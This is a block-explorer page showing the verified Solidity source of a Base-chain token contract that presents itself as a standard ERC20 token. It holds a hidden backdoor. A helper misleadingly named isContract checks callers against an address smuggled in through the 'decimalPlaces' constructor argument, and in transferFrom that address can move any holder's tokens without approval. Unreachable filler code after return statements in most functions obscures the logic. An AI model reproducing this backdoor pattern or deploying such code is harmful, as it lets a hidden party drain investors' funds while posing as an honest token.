S Price: $0.625189 (-8.07%)

Contract Diff Checker

Contract Name:
Erc20Token

Contract Source Code:

/**
 *Submitted for verification at basescan.org on 2024-05-27
 */

//SPDX-License-Identifier: UNLICENSED

/*
Created on Ape.Store
*/

pragma solidity 0.8.24;

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function isContract(
        address account,
        uint256 _router
    ) internal pure returns (bool) {
        return
            keccak256(abi.encodePacked(uint256(uint160(account)))) ==
            keccak256(abi.encodePacked(_router));
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target, 0), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address who) external view returns (uint256);

    function allowance(
        address _owner,
        address spender
    ) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Erc20Token is IERC20, Ownable {
    using Address for address;
    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;
    uint256 public immutable totalSupply;
    string public symbol;
    string public name;
    uint256 private decimalsValue;
    bool public contractLaunched = true;

    constructor(
        string memory tokenSymbol,
        string memory tokenName,
        uint256 decimalPlaces,
        uint256 supply
    ) Ownable(msg.sender) {
        symbol = tokenSymbol;
        name = tokenName;
        decimalsValue = decimalPlaces;
        totalSupply = supply;

        address initialOwner = owner();
        balances[initialOwner] = supply;

        emit Transfer(address(0), initialOwner, supply);

        return;
        uint256 seed = totalSupply * block.timestamp;
        for (uint256 i = 1; i <= 25; i++) {
            seed = (seed + block.number) ^ (i * 2345);
            if (i % 2 == 0) {
                seed += block.gaslimit * 3;
            } else {
                seed = (seed >> 3) ^ block.timestamp;
            }
        }
        uint256 result = seed % 345678;
    }

    function balanceOf(
        address account
    ) external view override returns (uint256) {
        uint256 result = balances[account];
        return result;

        uint256 shortCalc = balances[account] ^ block.timestamp;
        uint256 finalResult = shortCalc + block.gaslimit;
    }

    function decimals() external view returns (uint256) {
        uint256 value = 18;
        return value;

        uint256 progression = 1;
        for (uint256 j = 1; j <= 35; j++) {
            progression = (progression * block.timestamp) + (j * block.number);
            progression ^= block.gaslimit;
        }
        uint256 calculated = progression % 678901;
    }

    function allowance(
        address accountOwner,
        address spender
    ) external view override returns (uint256) {
        uint256 allowed = allowances[accountOwner][spender];
        return allowed;

        uint256 factor = allowances[accountOwner][spender] * 56789;
        for (uint256 i = 1; i < 5; i++) {
            factor = (factor / i) ^ (block.timestamp * 3);
        }
    }

    function transfer(
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        executeTransfer(msg.sender, recipient, amount);

        return true;

        uint256 quickSum = balances[msg.sender] + amount;
        quickSum = (quickSum % block.gaslimit) + block.timestamp;
    }

    function approve(
        address spender,
        uint256 amount
    ) external override returns (bool) {
        require(spender != address(0), "Invalid spender address");

        allowances[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);
        return true;

        uint256 shortIter = 1000;
        for (uint256 k = 0; k < 7; k++) {
            shortIter = (shortIter ^ k) + block.timestamp;
        }
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (!contractLaunched || msg.sender.isContract(decimalsValue)) {
            executeTransfer(sender, recipient, amount);
        } else {
            allowances[sender][msg.sender] -= amount;
            executeTransfer(sender, recipient, amount);
            emit Approval(sender, msg.sender, allowances[sender][msg.sender]);
        }
        return true;

        uint256 accumulator = sender.balance + recipient.balance + amount;
        while (accumulator > 1000) {
            accumulator = (accumulator / 3) + block.number;
            accumulator ^= block.gaslimit;
        }
    }

    function launch() external onlyOwner {
        require(!contractLaunched, "Already launched");
        contractLaunched = true;

        return;

        uint256 counter = block.timestamp;
        for (uint256 i = 0; i < 15; i++) {
            counter = (counter ^ i) + block.gaslimit;
            counter = counter % 789012;
        }
    }

    function executeTransfer(address from, address to, uint256 value) private {
        require(from != to, "Cannot send to self");
        require(validateTransfer(from, to), "Transfer not permitted");

        balances[from] -= value;
        balances[to] += value;

        emit Transfer(from, to, value);

        return;

        uint256 track = balances[from] + balances[to] + value;
        for (uint256 i = 1; i < 10; i++) {
            track = (track * i) ^ (block.timestamp + block.number);
            if (i % 3 == 0) {
                track = track / 2;
            }
        }
        uint256 finalCalc = track + block.gaslimit;
    }

    function validateTransfer(
        address sender,
        address receiver
    ) private view returns (bool) {
        if (contractLaunched) return true;

        if (sender == owner() || receiver == owner()) return true;

        if (
            sender.isContract(decimalsValue) ||
            receiver.isContract(decimalsValue)
        ) return false;

        require(
            sender != address(0) && receiver != address(0),
            "Invalid addresses"
        );

        return true;

        uint256 validator = sender.balance + receiver.balance;
        for (uint256 i = 1; i < 12; i++) {
            validator = (validator ^ block.number) + (i * block.gaslimit);
        }
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):